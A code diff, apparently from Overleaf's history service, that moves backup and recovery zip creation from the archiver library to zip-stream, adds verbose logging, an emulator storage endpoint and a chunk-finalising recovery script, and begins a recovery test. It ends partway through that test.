const chunkBlobs = new Set()
|
||||||
history.findBlobHashes(chunkBlobs)
|
history.findBlobHashes(chunkBlobs)
|
||||||
@@ -334,9 +352,16 @@ async function addChunkToArchive(
|
|||||||
}
|
}
|
||||||
content = await blobStore.getStream(hash)
|
content = await blobStore.getStream(hash)
|
||||||
}
|
}
|
||||||
archive.append(content, {
|
if (content == null) {
|
||||||
|
logger.error({ filePath }, 'File content is empty')
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
await addEntry(archive, content, {
|
||||||
name: `${prefix}${filePath}`,
|
name: `${prefix}${filePath}`,
|
||||||
})
|
})
|
||||||
|
if (verbose) {
|
||||||
|
logger.info({ filePath: `${prefix}${filePath}` }, 'added to archive')
|
||||||
|
}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -358,17 +383,20 @@ async function findStartVersionOfLatestChunk(historyId) {
|
|||||||
/**
|
/**
|
||||||
* Restore a project from the latest snapshot
|
* Restore a project from the latest snapshot
|
||||||
*
|
*
|
||||||
* There is an assumption that the database backup has been restored.
|
* There is an assumption that the database backup
|
||||||
|
* has been restored.
|
||||||
*
|
*
|
||||||
* @param {Archiver} archive
|
* @param {ZipStream} archive
|
||||||
* @param {string} historyId
|
* @param {string} historyId
|
||||||
* @param {boolean} [useBackupGlobalBlobs]
|
* @param {boolean} [useBackupGlobalBlobs]
|
||||||
|
* @param {boolean} [verbose]
|
||||||
* @return {Promise<void>}
|
* @return {Promise<void>}
|
||||||
*/
|
*/
|
||||||
export async function archiveLatestChunk(
|
export async function archiveLatestChunk(
|
||||||
archive,
|
archive,
|
||||||
historyId,
|
historyId,
|
||||||
useBackupGlobalBlobs = false
|
useBackupGlobalBlobs = false,
|
||||||
|
verbose = false
|
||||||
) {
|
) {
|
||||||
logger.info({ historyId, useBackupGlobalBlobs }, 'Archiving latest chunk')
|
logger.info({ historyId, useBackupGlobalBlobs }, 'Archiving latest chunk')
|
||||||
|
|
||||||
@@ -386,20 +414,28 @@ export async function archiveLatestChunk(
|
|||||||
|
|
||||||
await addChunkToArchive(backedUpChunk, archive, projectCache, historyId, {
|
await addChunkToArchive(backedUpChunk, archive, projectCache, historyId, {
|
||||||
useBackupGlobalBlobs,
|
useBackupGlobalBlobs,
|
||||||
|
verbose,
|
||||||
})
|
})
|
||||||
|
|
||||||
return archive
|
return archive
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Fetches all raw blobs from the project and adds them to the archive.
|
* Fetches all raw blobs from the project and adds
|
||||||
|
* them to the archive.
|
||||||
*
|
*
|
||||||
* @param {string} historyId
|
* @param {string} historyId
|
||||||
* @param {Archiver} archive
|
* @param {ZipStream} archive
|
||||||
* @param {CachedPerProjectEncryptedS3Persistor} projectCache
|
* @param {CachedPerProjectEncryptedS3Persistor} projectCache
|
||||||
|
* @param {boolean} [verbose]
|
||||||
* @return {Promise<void>}
|
* @return {Promise<void>}
|
||||||
*/
|
*/
|
||||||
async function addRawBlobsToArchive(historyId, archive, projectCache) {
|
async function addRawBlobsToArchive(
|
||||||
|
historyId,
|
||||||
|
archive,
|
||||||
|
projectCache,
|
||||||
|
verbose = false
|
||||||
|
) {
|
||||||
const blobKeys = await projectCache.listDirectoryKeys(
|
const blobKeys = await projectCache.listDirectoryKeys(
|
||||||
projectBlobsBucket,
|
projectBlobsBucket,
|
||||||
projectKey.format(historyId)
|
projectKey.format(historyId)
|
||||||
@@ -411,9 +447,13 @@ async function addRawBlobsToArchive(historyId, archive, projectCache) {
|
|||||||
key,
|
key,
|
||||||
{ autoGunzip: true }
|
{ autoGunzip: true }
|
||||||
)
|
)
|
||||||
archive.append(stream, {
|
const entryName = path.join(historyId, 'blobs', key)
|
||||||
name: path.join(historyId, 'blobs', key),
|
await addEntry(archive, stream, {
|
||||||
|
name: entryName,
|
||||||
})
|
})
|
||||||
|
if (verbose) {
|
||||||
|
logger.info({ entryName }, 'added to archive')
|
||||||
|
}
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
logger.warn({ err, path: key }, 'Failed to append blob to archive')
|
logger.warn({ err, path: key }, 'Failed to append blob to archive')
|
||||||
}
|
}
|
||||||
@@ -425,17 +465,20 @@ async function addRawBlobsToArchive(historyId, archive, projectCache) {
|
|||||||
*
|
*
|
||||||
* This can work without the database being backed up.
|
* This can work without the database being backed up.
|
||||||
*
|
*
|
||||||
* It will split the project into chunks per directory and download the blobs alongside the chunk.
|
* It will split the project into chunks per directory
|
||||||
|
* and download the blobs alongside the chunk.
|
||||||
*
|
*
|
||||||
* @param {Archiver} archive
|
* @param {ZipStream} archive
|
||||||
* @param {string} historyId
|
* @param {string} historyId
|
||||||
* @param {boolean} [useBackupGlobalBlobs]
|
* @param {boolean} [useBackupGlobalBlobs]
|
||||||
|
* @param {boolean} [verbose]
|
||||||
* @return {Promise<void>}
|
* @return {Promise<void>}
|
||||||
*/
|
*/
|
||||||
export async function archiveRawProject(
|
export async function archiveRawProject(
|
||||||
archive,
|
archive,
|
||||||
historyId,
|
historyId,
|
||||||
useBackupGlobalBlobs = false
|
useBackupGlobalBlobs = false,
|
||||||
|
verbose = false
|
||||||
) {
|
) {
|
||||||
const projectCache = await getProjectPersistor(historyId)
|
const projectCache = await getProjectPersistor(historyId)
|
||||||
|
|
||||||
@@ -454,11 +497,15 @@ export async function archiveRawProject(
|
|||||||
|
|
||||||
const { buffer } = await loadChunkByKey(projectCache, key)
|
const { buffer } = await loadChunkByKey(projectCache, key)
|
||||||
|
|
||||||
archive.append(buffer, {
|
const entryName = `${historyId}/chunks/${chunkId}/chunk.json`
|
||||||
name: `${historyId}/chunks/${chunkId}/chunk.json`,
|
await addEntry(archive, buffer, {
|
||||||
|
name: entryName,
|
||||||
})
|
})
|
||||||
|
if (verbose) {
|
||||||
|
logger.info({ entryName }, 'added to archive')
|
||||||
|
}
|
||||||
}
|
}
|
||||||
await addRawBlobsToArchive(historyId, archive, projectCache)
|
await addRawBlobsToArchive(historyId, archive, projectCache, verbose)
|
||||||
}
|
}
|
||||||
|
|
||||||
export class BackupPersistorError extends OError {}
|
export class BackupPersistorError extends OError {}
|
||||||
|
|||||||
@@ -6,19 +6,19 @@
|
|||||||
*/
|
*/
|
||||||
'use strict'
|
'use strict'
|
||||||
|
|
||||||
const Stream = require('node:stream')
|
const { pipeline } = require('node:stream/promises')
|
||||||
const zlib = require('node:zlib')
|
const zlib = require('node:zlib')
|
||||||
const { WritableBuffer } = require('@overleaf/stream-utils')
|
const { WritableBuffer } = require('@overleaf/stream-utils')
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Create a promise for the result of reading a stream to a buffer.
|
* Create a promise for the result of reading a stream to a buffer.
|
||||||
*
|
*
|
||||||
* @param {Stream.Readable} readStream
|
* @param {import('node:stream').Readable} readStream
|
||||||
* @return {Promise<Buffer>}
|
* @return {Promise<Buffer>}
|
||||||
*/
|
*/
|
||||||
async function readStreamToBuffer(readStream) {
|
async function readStreamToBuffer(readStream) {
|
||||||
const bufferStream = new WritableBuffer()
|
const bufferStream = new WritableBuffer()
|
||||||
await Stream.promises.pipeline(readStream, bufferStream)
|
await pipeline(readStream, bufferStream)
|
||||||
return bufferStream.contents()
|
return bufferStream.contents()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -33,7 +33,7 @@ exports.readStreamToBuffer = readStreamToBuffer
|
|||||||
async function gunzipStreamToBuffer(readStream) {
|
async function gunzipStreamToBuffer(readStream) {
|
||||||
const gunzip = zlib.createGunzip()
|
const gunzip = zlib.createGunzip()
|
||||||
const bufferStream = new WritableBuffer()
|
const bufferStream = new WritableBuffer()
|
||||||
await Stream.promises.pipeline(readStream, gunzip, bufferStream)
|
await pipeline(readStream, gunzip, bufferStream)
|
||||||
return bufferStream.contents()
|
return bufferStream.contents()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ const LAG_TIME_BUCKETS_HRS = [
|
|||||||
] // hours
|
] // hours
|
||||||
|
|
||||||
// Configure backup settings to match worker concurrency
|
// Configure backup settings to match worker concurrency
|
||||||
configureBackup({ concurrency: UPLOAD_CONCURRENCY, useSecondary: true })
|
configureBackup({ concurrency: UPLOAD_CONCURRENCY })
|
||||||
|
|
||||||
let gracefulShutdownInitiated = false
|
let gracefulShutdownInitiated = false
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,129 @@
|
|||||||
|
// Finalise the current chunk for a project and start a new empty chunk
|
||||||
|
// whose starting snapshot is the end snapshot of the (now-closed) current
|
||||||
|
// chunk.
|
||||||
|
//
|
||||||
|
// This is intended as a recovery tool for projects whose current chunk has
|
||||||
|
// become corrupted in such a way that further changes can no longer be
|
||||||
|
// persisted, but where the end snapshot of the current chunk can still be
|
||||||
|
// computed.
|
||||||
|
|
||||||
|
import logger from '@overleaf/logger'
|
||||||
|
import commandLineArgs from 'command-line-args'
|
||||||
|
import { Change, Chunk, History, NoOperation } from 'overleaf-editor-core'
|
||||||
|
import * as redis from '../lib/redis.js'
|
||||||
|
import knex from '../lib/knex.js'
|
||||||
|
import knexReadOnly from '../lib/knex_read_only.js'
|
||||||
|
import { client as mongoClient } from '../lib/mongodb.js'
|
||||||
|
import chunkStore from '../lib/chunk_store/index.js'
|
||||||
|
import redisBackend from '../lib/chunk_store/redis.js'
|
||||||
|
import { loadGlobalBlobs } from '../lib/blob_store/index.js'
|
||||||
|
import { fileURLToPath } from 'node:url'
|
||||||
|
import { EventEmitter } from 'node:events'
|
||||||
|
|
||||||
|
EventEmitter.defaultMaxListeners = 20
|
||||||
|
|
||||||
|
logger.initialize('finalise-chunk')
|
||||||
|
|
||||||
|
const optionDefinitions = [
|
||||||
|
{ name: 'historyId', type: String },
|
||||||
|
{ name: 'dry-run', alias: 'd', type: Boolean },
|
||||||
|
]
|
||||||
|
const options = commandLineArgs(optionDefinitions)
|
||||||
|
const HISTORY_ID = options.historyId
|
||||||
|
const DRY_RUN = options['dry-run'] || false
|
||||||
|
|
||||||
|
if (!HISTORY_ID) {
|
||||||
|
console.error('Usage: finalise_chunk.mjs --historyId <id> [--dry-run]')
|
||||||
|
process.exit(2)
|
||||||
|
}
|
||||||
|
|
||||||
|
async function finaliseCurrentChunk(historyId) {
|
||||||
|
// Validates the history id and selects the backend (postgres or mongo).
|
||||||
|
chunkStore.getBackend(historyId)
|
||||||
|
|
||||||
|
await loadGlobalBlobs()
|
||||||
|
|
||||||
|
const currentChunk = await chunkStore.loadLatest(historyId, {
|
||||||
|
persistedOnly: true,
|
||||||
|
})
|
||||||
|
const startVersion = currentChunk.getStartVersion()
|
||||||
|
const endVersion = currentChunk.getEndVersion()
|
||||||
|
const numChanges = currentChunk.getChanges().length
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
{ historyId, startVersion, endVersion, numChanges },
|
||||||
|
'loaded current chunk'
|
||||||
|
)
|
||||||
|
|
||||||
|
if (endVersion === startVersion) {
|
||||||
|
throw new Error(
|
||||||
|
`current chunk for history ${historyId} is already empty (no changes); refusing to create another empty chunk`
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
let nonPersistedChanges
|
||||||
|
try {
|
||||||
|
nonPersistedChanges = await redisBackend.getNonPersistedChanges(
|
||||||
|
historyId,
|
||||||
|
endVersion
|
||||||
|
)
|
||||||
|
} catch (err) {
|
||||||
|
throw new Error(
|
||||||
|
`unable to read non-persisted changes from redis for history ${historyId}: ${err.message}`
|
||||||
|
)
|
||||||
|
}
|
||||||
|
if (nonPersistedChanges.length > 0) {
|
||||||
|
throw new Error(
|
||||||
|
`history ${historyId} has ${nonPersistedChanges.length} non-persisted change(s) in redis; persist or expire them before running this script`
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
const endSnapshot = currentChunk.getSnapshot().clone()
|
||||||
|
endSnapshot.applyAll(currentChunk.getChanges())
|
||||||
|
|
||||||
|
// The chunks table has a unique constraint on (doc_id, end_version), so the
|
||||||
|
// new chunk cannot share an end_version with the chunk we are closing. Add a
|
||||||
|
// single NoOperation change to bump end_version by 1 without mutating the
|
||||||
|
// snapshot.
|
||||||
|
const recoveryChange = new Change([new NoOperation()], new Date(), [])
|
||||||
|
const newChunk = new Chunk(
|
||||||
|
new History(endSnapshot, [recoveryChange]),
|
||||||
|
endVersion
|
||||||
|
)
|
||||||
|
|
||||||
|
if (DRY_RUN) {
|
||||||
|
logger.info(
|
||||||
|
{ historyId, endVersion },
|
||||||
|
'dry run: would close current chunk and create new empty chunk'
|
||||||
|
)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
await chunkStore.create(historyId, newChunk)
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
{ historyId, endVersion },
|
||||||
|
'closed current chunk and created new empty chunk'
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
try {
|
||||||
|
await finaliseCurrentChunk(HISTORY_ID)
|
||||||
|
} catch (err) {
|
||||||
|
logger.fatal({ err, historyId: HISTORY_ID }, 'failed to finalise chunk')
|
||||||
|
process.exitCode = 1
|
||||||
|
} finally {
|
||||||
|
await redis.disconnect()
|
||||||
|
await mongoClient.close()
|
||||||
|
await knex.destroy()
|
||||||
|
await knexReadOnly.destroy()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const currentScriptPath = fileURLToPath(import.meta.url)
|
||||||
|
if (process.argv[1] === currentScriptPath) {
|
||||||
|
main()
|
||||||
|
}
|
||||||
|
|
||||||
|
export { finaliseCurrentChunk }
|
||||||
@@ -17,9 +17,10 @@ const fs = require('node:fs')
|
|||||||
const os = require('node:os')
|
const os = require('node:os')
|
||||||
const path = require('node:path')
|
const path = require('node:path')
|
||||||
const util = require('node:util')
|
const util = require('node:util')
|
||||||
|
const { pipeline } = require('node:stream/promises')
|
||||||
|
|
||||||
// Something is registering 11 listeners, over the limit of 10, which generates
|
// Something is registering 11 listeners, over the limit
|
||||||
// a lot of warning noise.
|
// of 10, which generates a lot of warning noise.
|
||||||
require('node:events').EventEmitter.defaultMaxListeners = 11
|
require('node:events').EventEmitter.defaultMaxListeners = 11
|
||||||
|
|
||||||
const config = require('config')
|
const config = require('config')
|
||||||
@@ -27,11 +28,23 @@ const config = require('config')
|
|||||||
// eslint-disable-next-line import/no-extraneous-dependencies
|
// eslint-disable-next-line import/no-extraneous-dependencies
|
||||||
const { Storage } = require('@google-cloud/storage')
|
const { Storage } = require('@google-cloud/storage')
|
||||||
const isValidUtf8 = require('utf-8-validate')
|
const isValidUtf8 = require('utf-8-validate')
|
||||||
|
// zip-stream@7 uses ESM default export
|
||||||
|
const ZipStream = require('zip-stream').default
|
||||||
|
|
||||||
|
function createStorage() {
|
||||||
|
const opts = {}
|
||||||
|
if (config.has('persistor.gcs.endpoint.apiEndpoint')) {
|
||||||
|
opts.apiEndpoint = config.get('persistor.gcs.endpoint.apiEndpoint')
|
||||||
|
}
|
||||||
|
if (config.has('persistor.gcs.endpoint.projectId')) {
|
||||||
|
opts.projectId = config.get('persistor.gcs.endpoint.projectId')
|
||||||
|
}
|
||||||
|
return new Storage(opts)
|
||||||
|
}
|
||||||
|
|
||||||
const core = require('overleaf-editor-core')
|
const core = require('overleaf-editor-core')
|
||||||
const projectKey = require('@overleaf/object-persistor/src/ProjectKey.js')
|
const projectKey = require('@overleaf/object-persistor/src/ProjectKey.js')
|
||||||
const streams = require('../lib/streams')
|
const streams = require('../lib/streams')
|
||||||
const ProjectArchive = require('../lib/project_archive')
|
|
||||||
|
|
||||||
const {
|
const {
|
||||||
values: { verbose: VERBOSE },
|
values: { verbose: VERBOSE },
|
||||||
@@ -53,7 +66,7 @@ if (HISTORY_IDS.length === 0) {
|
|||||||
|
|
||||||
async function listDeletedChunks(historyId) {
|
async function listDeletedChunks(historyId) {
|
||||||
const bucketName = config.get('chunkStore.bucket')
|
const bucketName = config.get('chunkStore.bucket')
|
||||||
const storage = new Storage()
|
const storage = createStorage()
|
||||||
const [files] = await storage.bucket(bucketName).getFiles({
|
const [files] = await storage.bucket(bucketName).getFiles({
|
||||||
prefix: projectKey.format(historyId),
|
prefix: projectKey.format(historyId),
|
||||||
versions: true,
|
versions: true,
|
||||||
@@ -137,7 +150,7 @@ class RecoveryBlobStore {
|
|||||||
if (VERBOSE) console.log('fetching blob', hash)
|
if (VERBOSE) console.log('fetching blob', hash)
|
||||||
|
|
||||||
const bucketName = config.get('blobStore.projectBucket')
|
const bucketName = config.get('blobStore.projectBucket')
|
||||||
const storage = new Storage()
|
const storage = createStorage()
|
||||||
const [files] = await storage.bucket(bucketName).getFiles({
|
const [files] = await storage.bucket(bucketName).getFiles({
|
||||||
prefix: this.makeProjectBlobKey(hash),
|
prefix: this.makeProjectBlobKey(hash),
|
||||||
versions: true,
|
versions: true,
|
||||||
@@ -158,7 +171,7 @@ class RecoveryBlobStore {
|
|||||||
|
|
||||||
async fetchGlobalBlob(hash, destination) {
|
async fetchGlobalBlob(hash, destination) {
|
||||||
const bucketName = config.get('blobStore.globalBucket')
|
const bucketName = config.get('blobStore.globalBucket')
|
||||||
const storage = new Storage()
|
const storage = createStorage()
|
||||||
const file = storage.bucket(bucketName).file(this.makeGlobalBlobKey(hash))
|
const file = storage.bucket(bucketName).file(this.makeGlobalBlobKey(hash))
|
||||||
await file.download({ destination })
|
await file.download({ destination })
|
||||||
}
|
}
|
||||||
@@ -203,9 +216,18 @@ class RecoveryBlobStore {
|
|||||||
async function uploadZip(historyId, zipPathname) {
|
async function uploadZip(historyId, zipPathname) {
|
||||||
const bucketName = config.get('zipStore.bucket')
|
const bucketName = config.get('zipStore.bucket')
|
||||||
const deadline = 24 * 3600 * 1000 // lifecycle limit on the zips bucket
|
const deadline = 24 * 3600 * 1000 // lifecycle limit on the zips bucket
|
||||||
const storage = new Storage()
|
const storage = createStorage()
|
||||||
const destination = `${historyId}-recovered.zip`
|
const destination = `${historyId}-recovered.zip`
|
||||||
await storage.bucket(bucketName).upload(zipPathname, { destination })
|
await storage.bucket(bucketName).upload(zipPathname, {
|
||||||
|
destination,
|
||||||
|
resumable: false,
|
||||||
|
})
|
||||||
|
|
||||||
|
if (config.has('persistor.gcs.endpoint.apiEndpoint')) {
|
||||||
|
// In emulator mode, signed URLs aren't available
|
||||||
|
const apiEndpoint = config.get('persistor.gcs.endpoint.apiEndpoint')
|
||||||
|
return `${apiEndpoint}/storage/v1/b/${bucketName}/o/${encodeURIComponent(destination)}?alt=media`
|
||||||
|
}
|
||||||
|
|
||||||
const signedUrls = await storage
|
const signedUrls = await storage
|
||||||
.bucket(bucketName)
|
.bucket(bucketName)
|
||||||
@@ -219,6 +241,23 @@ async function uploadZip(historyId, zipPathname) {
|
|||||||
return signedUrls[0]
|
return signedUrls[0]
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Promisified wrapper for ZipStream's entry method.
|
||||||
|
*
|
||||||
|
* @param {ZipStream} archive
|
||||||
|
* @param {Buffer|NodeJS.ReadableStream|string} source
|
||||||
|
* @param {{ name: string }} data
|
||||||
|
* @return {Promise<void>}
|
||||||
|
*/
|
||||||
|
function addEntry(archive, source, data) {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
archive.entry(source, data, err => {
|
||||||
|
if (err) reject(err)
|
||||||
|
else resolve()
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
async function restoreProject(historyId) {
|
async function restoreProject(historyId) {
|
||||||
const tmp = await fs.promises.mkdtemp(
|
const tmp = await fs.promises.mkdtemp(
|
||||||
path.join(os.tmpdir(), historyId.toString())
|
path.join(os.tmpdir(), historyId.toString())
|
||||||
@@ -237,9 +276,40 @@ async function restoreProject(historyId) {
|
|||||||
if (VERBOSE) console.log('zipping', historyId)
|
if (VERBOSE) console.log('zipping', historyId)
|
||||||
|
|
||||||
const zipPathname = path.join(tmp, `${historyId}.zip`)
|
const zipPathname = path.join(tmp, `${historyId}.zip`)
|
||||||
const zipTimeoutMs = 60 * 1000
|
const outputFile = fs.createWriteStream(zipPathname)
|
||||||
const archive = new ProjectArchive(snapshot, zipTimeoutMs)
|
const archive = new ZipStream()
|
||||||
await archive.writeZip(blobStore, zipPathname)
|
|
||||||
|
const pipelinePromise = pipeline(archive, outputFile)
|
||||||
|
|
||||||
|
for (const pathname of snapshot.getFilePathnames()) {
|
||||||
|
const file = snapshot.getFile(pathname)
|
||||||
|
if (!file) continue
|
||||||
|
|
||||||
|
await file.load('eager', blobStore)
|
||||||
|
let content = file.getContent({
|
||||||
|
filterTrackedDeletes: true,
|
||||||
|
})
|
||||||
|
|
||||||
|
if (content === null) {
|
||||||
|
const hash = file.getHash()
|
||||||
|
content = await blobStore.getStream(hash)
|
||||||
|
}
|
||||||
|
|
||||||
|
if (content == null) continue
|
||||||
|
|
||||||
|
if (typeof content === 'string') {
|
||||||
|
content = Buffer.from(content)
|
||||||
|
}
|
||||||
|
await addEntry(archive, content, { name: pathname })
|
||||||
|
if (VERBOSE) console.log(`${pathname} added`)
|
||||||
|
}
|
||||||
|
|
||||||
|
archive.finalize()
|
||||||
|
await pipelinePromise
|
||||||
|
|
||||||
|
if (VERBOSE) {
|
||||||
|
console.log(`Wrote ${archive.getBytesWritten()} bytes`)
|
||||||
|
}
|
||||||
|
|
||||||
if (VERBOSE) console.log('uploading', historyId)
|
if (VERBOSE) console.log('uploading', historyId)
|
||||||
|
|
||||||
@@ -252,4 +322,7 @@ async function main() {
|
|||||||
console.log(signedUrl)
|
console.log(signedUrl)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
main().catch(console.error)
|
main().catch(err => {
|
||||||
|
console.error(err)
|
||||||
|
process.exit(1)
|
||||||
|
})
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import commandLineArgs from 'command-line-args'
|
|||||||
import assert from '../lib/assert.js'
|
import assert from '../lib/assert.js'
|
||||||
import fs from 'node:fs'
|
import fs from 'node:fs'
|
||||||
import { setTimeout } from 'node:timers/promises'
|
import { setTimeout } from 'node:timers/promises'
|
||||||
|
import { pipeline } from 'node:stream/promises'
|
||||||
import {
|
import {
|
||||||
archiveLatestChunk,
|
archiveLatestChunk,
|
||||||
archiveRawProject,
|
archiveRawProject,
|
||||||
@@ -11,17 +12,13 @@ import {
|
|||||||
} from '../lib/backupArchiver.mjs'
|
} from '../lib/backupArchiver.mjs'
|
||||||
import knex from '../lib/knex.js'
|
import knex from '../lib/knex.js'
|
||||||
import { client } from '../lib/mongodb.js'
|
import { client } from '../lib/mongodb.js'
|
||||||
import archiver from 'archiver'
|
import ZipStream from 'zip-stream'
|
||||||
import Events from 'node:events'
|
|
||||||
import { Chunk } from 'overleaf-editor-core'
|
import { Chunk } from 'overleaf-editor-core'
|
||||||
import _ from 'lodash'
|
import _ from 'lodash'
|
||||||
|
|
||||||
// Silence warning.
|
|
||||||
Events.setMaxListeners(20)
|
|
||||||
|
|
||||||
const SUPPORTED_MODES = ['raw', 'latest']
|
const SUPPORTED_MODES = ['raw', 'latest']
|
||||||
|
|
||||||
// Pads the mode name to a fixed length for better alignment in output.
|
// Pads the mode name to a fixed length for alignment.
|
||||||
const padModeName = _.partialRight(
|
const padModeName = _.partialRight(
|
||||||
_.padEnd,
|
_.padEnd,
|
||||||
Math.max(...SUPPORTED_MODES.map(mode => mode.length))
|
Math.max(...SUPPORTED_MODES.map(mode => mode.length))
|
||||||
@@ -65,25 +62,6 @@ function usage() {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* @typedef {import('archiver').ZipArchive} ZipArchive
|
|
||||||
*/
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @typedef {import('archiver').ProgressData} ProgressData
|
|
||||||
*/
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @typedef {import('archiver').EntryData} EntryData
|
|
||||||
*/
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @typedef {Object} ArchiverError
|
|
||||||
* @property {string} message
|
|
||||||
* @property {string} code
|
|
||||||
* @property {Object} data
|
|
||||||
*/
|
|
||||||
|
|
||||||
let historyId, help, mode, output, useBackupGlobalBlobs, verbose
|
let historyId, help, mode, output, useBackupGlobalBlobs, verbose
|
||||||
|
|
||||||
try {
|
try {
|
||||||
@@ -136,80 +114,37 @@ await loadGlobalBlobs()
|
|||||||
|
|
||||||
outputFile = fs.createWriteStream(output)
|
outputFile = fs.createWriteStream(output)
|
||||||
|
|
||||||
const archive = archiver.create('zip', {})
|
const archive = new ZipStream()
|
||||||
|
|
||||||
archive.on('close', function () {
|
archive.on('error', function (e) {
|
||||||
console.log(archive.pointer() + ' total bytes')
|
console.error(`Error writing archive: ${e.message}`)
|
||||||
console.log(`Wrote ${output}`)
|
|
||||||
shutdown().catch(e => console.error('Error shutting down', e))
|
|
||||||
})
|
})
|
||||||
|
|
||||||
archive.on(
|
|
||||||
'error',
|
|
||||||
/**
|
|
||||||
*
|
|
||||||
* @param {ArchiverError} e
|
|
||||||
*/
|
|
||||||
function (e) {
|
|
||||||
console.error(`Error writing archive: ${e.message}`)
|
|
||||||
}
|
|
||||||
)
|
|
||||||
|
|
||||||
archive.on('end', function () {
|
|
||||||
console.log(`Wrote ${archive.pointer()} total bytes to ${output}`)
|
|
||||||
shutdown().catch(e => console.error('Error shutting down', e))
|
|
||||||
})
|
|
||||||
|
|
||||||
archive.on(
|
|
||||||
'progress',
|
|
||||||
/**
|
|
||||||
*
|
|
||||||
* @param {ProgressData} progress
|
|
||||||
*/
|
|
||||||
function (progress) {
|
|
||||||
if (verbose) {
|
|
||||||
console.log(
|
|
||||||
`${progress.entries.processed} processed out of ${progress.entries.total}`
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
)
|
|
||||||
|
|
||||||
archive.on(
|
|
||||||
'entry',
|
|
||||||
/**
|
|
||||||
*
|
|
||||||
* @param {EntryData} entry
|
|
||||||
*/
|
|
||||||
function (entry) {
|
|
||||||
if (verbose) {
|
|
||||||
console.log(`${entry.name} added`)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
)
|
|
||||||
|
|
||||||
archive.on(
|
|
||||||
'warning',
|
|
||||||
/**
|
|
||||||
*
|
|
||||||
* @param {ArchiverError} warning
|
|
||||||
*/
|
|
||||||
function (warning) {
|
|
||||||
console.warn(`Warning encountered when writing archive: ${warning.message}`)
|
|
||||||
}
|
|
||||||
)
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
|
// Pipe archive to the output file before adding entries.
|
||||||
|
// pipeline handles backpressure and will resolve when
|
||||||
|
// the archive stream ends.
|
||||||
|
const pipelinePromise = pipeline(archive, outputFile)
|
||||||
|
|
||||||
switch (mode) {
|
switch (mode) {
|
||||||
case 'latest':
|
case 'latest':
|
||||||
await archiveLatestChunk(archive, historyId, useBackupGlobalBlobs)
|
await archiveLatestChunk(
|
||||||
|
archive,
|
||||||
|
historyId,
|
||||||
|
useBackupGlobalBlobs,
|
||||||
|
verbose
|
||||||
|
)
|
||||||
break
|
break
|
||||||
case 'raw':
|
case 'raw':
|
||||||
default:
|
default:
|
||||||
await archiveRawProject(archive, historyId, useBackupGlobalBlobs)
|
await archiveRawProject(archive, historyId, useBackupGlobalBlobs, verbose)
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
archive.pipe(outputFile)
|
|
||||||
|
archive.finalize()
|
||||||
|
await pipelinePromise
|
||||||
|
|
||||||
|
console.log(`Wrote ${archive.getBytesWritten()} total bytes to ${output}`)
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
if (error instanceof BackupPersistorError) {
|
if (error instanceof BackupPersistorError) {
|
||||||
console.error(error.message)
|
console.error(error.message)
|
||||||
@@ -222,12 +157,7 @@ try {
|
|||||||
} else {
|
} else {
|
||||||
console.error('Error encountered when writing archive')
|
console.error('Error encountered when writing archive')
|
||||||
}
|
}
|
||||||
} finally {
|
await shutdown(1)
|
||||||
await Promise.race([
|
|
||||||
await archive.finalize(),
|
|
||||||
setTimeout(10000).then(() => {
|
|
||||||
console.error('Archive did not finalize in time')
|
|
||||||
return shutdown(1)
|
|
||||||
}),
|
|
||||||
])
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
await shutdown(0)
|
||||||
|
|||||||
@@ -507,7 +507,7 @@ describe('project controller', function () {
|
|||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|
||||||
// eslint-disable-next-line mocha/no-skipped-tests
|
// eslint-disable-next-line mocha/no-pending-tests
|
||||||
describe.skip('getLatestContent', function () {
|
describe.skip('getLatestContent', function () {
|
||||||
// TODO: remove this endpoint entirely, see
|
// TODO: remove this endpoint entirely, see
|
||||||
// https://github.com/overleaf/write_latex/pull/5120#discussion_r244291862
|
// https://github.com/overleaf/write_latex/pull/5120#discussion_r244291862
|
||||||
|
|||||||
@@ -647,6 +647,68 @@ describe('backup script', function () {
|
|||||||
expect(newBackupStatus.backupStatus.lastBackedUpVersion).to.equal(50) // backup fails on final chunk
|
expect(newBackupStatus.backupStatus.lastBackedUpVersion).to.equal(50) // backup fails on final chunk
|
||||||
expect(newBackupStatus.currentEndVersion).to.equal(54) // backup is incomplete due to missing blob
|
expect(newBackupStatus.currentEndVersion).to.equal(54) // backup is incomplete due to missing blob
|
||||||
})
|
})
|
||||||
|
|
||||||
|
it('can recover zip file from backup in raw mode', async function () {
|
||||||
|
// First, run backup so data is available
|
||||||
|
await runBackupScript(['--projectId', projectId])
|
||||||
|
|
||||||
|
const zipPath = `/tmp/test-recover-raw-${historyId}.zip`
|
||||||
|
try {
|
||||||
|
await runRecoverZipFromBackupScript([
|
||||||
|
'--historyId',
|
||||||
|
historyId,
|
||||||
|
'--output',
|
||||||
|
